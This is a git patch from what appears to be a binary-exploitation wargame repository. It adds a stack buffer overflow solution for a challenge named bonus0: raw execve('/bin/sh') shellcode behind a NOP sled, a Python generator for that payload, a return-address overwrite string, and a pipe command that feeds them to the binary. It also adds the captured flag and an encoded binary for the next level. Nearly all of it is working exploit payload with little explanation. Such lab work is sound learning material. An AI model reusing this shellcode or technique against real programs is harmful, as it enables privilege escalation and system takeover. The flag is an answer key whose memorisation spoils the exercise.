From 3c3e640689b524dfe50e9106d990e24ff5154477 Mon Sep 17 00:00:00 2001 From: gbrochar Date: Fri, 2 May 2025 15:20:23 +0200 Subject: [PATCH] feat: bonus0 + bonus1 elf --- bonus0/Ressources/4096.txt | 1 + bonus0/Ressources/gen_20letters.txt.sh | 1 + bonus0/Ressources/gen_4096.txt.sh | 1 + bonus0/Ressources/two_stdin_command.sh | 1 + bonus0/flag | 1 + bonus1/Ressources/bonus1 | Bin 0 -> 5043 bytes 6 files changed, 5 insertions(+) create mode 100644 bonus0/Ressources/4096.txt create mode 100755 bonus0/Ressources/gen_20letters.txt.sh create mode 100755 bonus0/Ressources/gen_4096.txt.sh create mode 100644 bonus0/Ressources/two_stdin_command.sh create mode 100644 bonus0/flag create mode 100755 bonus1/Ressources/bonus1 diff --git a/bonus0/Ressources/4096.txt b/bonus0/Ressources/4096.txt new file mode 100644 index 0000000..df53534 --- /dev/null +++ b/bonus0/Ressources/4096.txt @@ -0,0 +1 @@ +1À°F1Û1É̀ë[1ÀˆC‰[‰C ° KS ̀èåÿÿÿ/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/bonus0/Ressources/gen_20letters.txt.sh b/bonus0/Ressources/gen_20letters.txt.sh new file mode 100755 index 0000000..e03a4fa --- /dev/null +++ b/bonus0/Ressources/gen_20letters.txt.sh @@ -0,0 +1 @@ +echo -e "AAAAAAAAA\x58\xed\xff\xbfDDDDDDD" > 21letters.txt diff --git a/bonus0/Ressources/gen_4096.txt.sh b/bonus0/Ressources/gen_4096.txt.sh new file mode 100755 index 0000000..e6b8ff8 --- /dev/null +++ b/bonus0/Ressources/gen_4096.txt.sh @@ -0,0 +1 @@ +python -c "print('\x90'*500+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*3549)" > 4096.txt diff --git a/bonus0/Ressources/two_stdin_command.sh b/bonus0/Ressources/two_stdin_command.sh new file mode 100644 index 0000000..6f5cb3f --- /dev/null +++ b/bonus0/Ressources/two_stdin_command.sh @@ -0,0 +1 @@ +(cat 4096.txt; cat 21letters.txt; cat) | ./bonus0 diff --git a/bonus0/flag b/bonus0/flag new file mode 100644 index 0000000..0114844 --- /dev/null +++ b/bonus0/flag @@ -0,0 +1 @@ +cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9 diff --git a/bonus1/Ressources/bonus1 b/bonus1/Ressources/bonus1 new file mode 100755 index 0000000000000000000000000000000000000000..0668d0ea3c0cf778bbaa5312c28ff3ebad6449e8 GIT binary patch literal 5043 zcmb7IYiv}<6`tL_4ohP;=Fx_LldO^@g{Z7;Vk{_$!uka!#w1`s4GEX^?%KP}zO;Kc zF%fNXuN`o0t5$2JNUf@%MpdiQmbOt8m8x}W9;uoiR7GmkA5E$fWf8O@%0rO~+5fDU0+Xyy8zYf#uug7Ej37n!#bbX0cEDTG0+i54LpIab zkWH@5X7ZK6Xt@wwr^*qU?Aw-}-Lfv@WK7E;thWrpv7vqG^-rG6UHeAs?^gV+rtiJK z{P>*p{@t3-@sVQ@7GY$ikDosFk7?$;slfx5AkTU_g^}5$0W|Gv=HZrkcm?nwj0a;~ zEbb7(GzW5pyjiy5CCfAgx}9KmTZGxQ1EtAK-mH{UNs$^%C9)!y$|Z^iMcgW6P?Kc0 zW-gw|i!I$?llinam>Ew<{QRDB2z?9;)0Gj1cUa@MEe z#aWfbKZ~4IY&Fg7rFY=PS;f}Vv|TzcF{4N`^h?tcGnzCX`K6N*Gpcl$_$A<`f9@as zyM6KM0>o62yDaX7b1u_h-@>o;Y|ICRQs%N~w0>A`i8`)J<`38Rf6Xb}qqNBpgeYW!b012U=rAk(Oel_nF* zPC|Z$GVU=tp(_saS~HI>$o-%e`ohR>J<7Sio&f#~^j^sA z5VrGK2ouLSiJ8wBRzo;mcogDJ$O+VE{$*(HkDP`)r>GHPVHo9zslZsSLR-Md{@;mb zl&J01 z6KzcQLwL56C+`d}gpt=t&($UrXkHp~E)8Bplb|)P9r=$jU+9l>b=>vGIm<*Ir3b?K zN*?F%3Gj-@b50{GIh@OTAe_hKan9Ex!?~^#xlH>ZoUi0@u3E^1kk{?9obn8W^P73j z@nK}b$a~ub6wgBzLdfG9c^Mf_R_%{{Ahscz$2D~Vywxs`>sRx}k!P%Ihim!*cv0ka zB9G|^MDyyfKI+i<12njaV?yq?AezVfY7x9EEN~NfOvfOa$35gJbbxmqopih3M*(^4 z?;v=C;CbhZ=KavalXpn)no*{c=DmUf?Qa_XrolU{Nzj`2TbGCM1y2*+eQ$0G9^M%b zkB9sCr|@__uwDA&AwC73ZVN>>^M67fCdrd`X@ED}GAPMo9Djvqf4qwwz#^FMkN9m5 zk9%$syfDgiB8O6iXn(`t4TJaJ`ui{NSk8X%_A>q{yboM|jnGWwJ*cwspKVdN*VC6y zuYz|?188!Xs5u98O5*ToMBsO$U@e4w;N0Sz_xhVc1NV9=YJZ^JlDHqSP`z!beMe#C zfcuNWss-*N3bS>!Unq=8g~WY9VLnl{{uM?ik+{wkmP)Q?h1m;r7Ank>RIN{ixkI79 z?l~0@T+!`G>ojr!ahJsUFMyrF``irizQZ1KU6SL& zn-upB9iI>Jtp?Wd`EbKn5B!olUVe}~(Mz>V(s(%&zDbz*;h4WRqOH^V;y>pO}MH>V5p?C$|{JwqY3 zJH>TqzPoUyE`k3=2>3p?y(RudA_A<(JB+vA22Y3hbYsAJ{Ob_UR$%VSFu`9)^Z@e> zhj_7nsn`ds{nf!A&t09u$UFyp)QxYkf4LY2_P)n{+rwx3CxQ9e6-S=&PXkZ6^%>6@ zV4f#1OZ%I^JP-K1_+I>HV4djiBCxkVSAiq&KLi{7f8^nZQMS;tN3i}~z&sC;1t04z zQL@TbrN2L#z>9QS?~a{jch|07yn&l$`y8~b&0|Uy%zo*D-%uI3+sHI7$yIHc5%N^A1bo8{#W;%Dqws)8su^FA8ZAISVWGj7ze5KqZ zqvd7LjF(FBgJvq96lVLEdSctV+Th<~kslO7Hqu1<>wRU%~i}K4s zqFgcMWfB!zHncDD0necpBLQk4x2a6eqk_E^4_Q&$T7Pa|7^v1 zpEpc1SuU9Acs`j;&Huu2%lC{q&CP}^@4~9*ZYTSTX8Jkxg=B6WTxxX(_WL{FE}Ml63zclx(A# literal 0 HcmV?d00001